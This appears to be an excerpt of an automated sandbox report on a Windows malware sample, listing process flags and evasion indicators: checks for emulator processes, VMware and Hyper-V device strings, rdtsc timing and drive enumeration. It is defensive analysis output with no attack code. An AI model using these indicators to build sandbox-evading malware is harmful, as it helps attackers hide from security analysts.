Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\explorer.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeProcess information set: NOOPENFILEERRORBOX
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeProcess information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion:

barindex
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)Show sources
Source: explorer.exe, 00000008.00000003.278470887.00000000033D4000.00000004.00000001.sdmpBinary or memory string: DEMUL.EXE
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 240A24D0000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 248A2AD0000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 240A21A0000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 248A3200000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 248A3A00000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 248A3B50000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 248A3C90000 memory commit | memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 112F92D0000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 11AF9600000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 112F8DB0000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 11AF9940000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 11AFB270000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 11AFB690000 memory reserve | memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exeMemory allocated: 11AFB7D0000 memory commit | memory reserve | memory write watch
Source: C:\Windows\explorer.exeFile opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Jump to behavior
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AC3880 rdtsc 0_2_00AC3880
Source: C:\Windows\System32\conhost.exe TID: 3508Thread sleep count: 43 > 30Jump to behavior
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00B89E5A __getdrive,FindFirstFileA,__wfullpath_helper,_strlen,_IsRootUNCName,GetDriveTypeA,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FileTimeToLocalFileTime,FileTimeToSystemTime,___loctotime64_t,FindClose,___dtoxmode,GetLastError,__dosmaperr,FindClose,0_2_00B89E5A
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB1640 _memset,_memset,_sprintf,FindFirstFileA,_strrchr,_memset,_strncpy,_memset,_sprintf,_memset,_memset,_memset,_memset,_sprintf,FindNextFileA,FindClose,0_2_00AB1640
Source: C:\Users\user\Desktop\s1.exeCode function: 0_2_00AB1D10 SetServiceStatus,_calloc,_calloc,_sprintf,_memset,_getenv,GetLogicalDrives,_memset,GetLogicalDriveStringsA,_sprintf,GetDriveTypeA,GetDriveTypeA,GetDriveTypeA,_sprintf,_printf,SetServiceStatus,0_2_00AB1D10
Source: explorer.exe, 00000008.00000003.310675831.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bua
Source: explorer.exe, 00000004.00000000.242683146.000000000871F000.00000004.00000001.sdmpBinary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000008.00000003.461236474.0000000006D4C000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}s
Source: explorer.exe, 00000008.00000003.346416979.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.398414050.0000000005F25000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: -98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Vi,
Source: SearchUI.exe, 00000026.00000002.593693858.0000011AFBE99000.00000004.00000001.sdmpBinary or memory string: onenotelyncvmwareitunes
Source: explorer.exe, 00000008.00000003.461107219.0000000006C52000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}i
Source: explorer.exe, 00000008.00000003.346416979.0000000005F26000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B0F
Source: explorer.exe, 00000004.00000000.245675912.0000000008A15000.00000004.00000001.sdmpBinary or memory string: Prod_VMware_SATAI
Source: explorer.exe, 00000008.00000003.305617153.0000000005EA5000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}n
Source: SearchUI.exe, 00000012.00000002.458848529.00000240A2764000.00000004.00000001.sdmpBinary or memory string: Hyper-V RAW
Source: explorer.exe, 00000008.00000003.437032036.0000000005EE5000.00000004.00000001.sdmpBinary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000008.00000003.393738249.0000000006EE8000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}D1,Roaming
Source: explorer.exe, 00000008.00000003.420487158.0000000005F25000.00000004.00000001.sdmpBinary or memory string: 1efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA
Source: explorer.exe, 00000008.00000003.417066829.00000000059B2000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}57
Source: explorer.exe, 00000008.00000003.310218707.0000000005EF7000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B$
Source: explorer.exe, 00000004.00000000.241391462.0000000008220000.00000002.00000001.sdmp, SearchUI.exe, 00000012.00000002.451845201.00000240A2000000.00000002.00000001.sdmp, SearchUI.exe, 00000026.00000002.564007945.00000112F8C00000.00000002.00000001.sdmpBinary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000008.00000003.350314382.00000000068D0000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}|
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: 0d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}utoItXPUBLIC=C:\Users\PublBm-
Source: explorer.exe, 00000008.00000003.302963947.00000000059E2000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}rrentVe
Source: explorer.exe, 00000008.00000003.456835733.0000000006C65000.00000004.00000001.sdmpBinary or memory string: -94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f563*.
Source: explorer.exe, 00000008.00000003.457765103.0000000005F14000.00000004.00000001.sdmpBinary or memory string: _VMware_SATA
Source: explorer.exe, 00000008.00000003.393738249.0000000006EE8000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}1>QCw
Source: explorer.exe, 00000008.00000003.456924384.0000000006C5D000.00000004.00000001.sdmpBinary or memory string: d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-
Source: explorer.exe, 00000008.00000003.398414050.0000000005F25000.00000004.00000001.sdmpBinary or memory string: e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}niport (IPv6)-WFP Native MAB
Source: explorer.exe, 00000008.00000003.433271989.0000000006994000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}I
Source: explorer.exe, 00000008.00000003.454913142.0000000006984000.00000004.00000001.sdmpBinary or memory string: \?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000008.00000003.414099826.0000000006994000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}L
Source: explorer.exe, 00000008.00000003.433271989.0000000006994000.00000004.00000001.sdmpBinary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}M
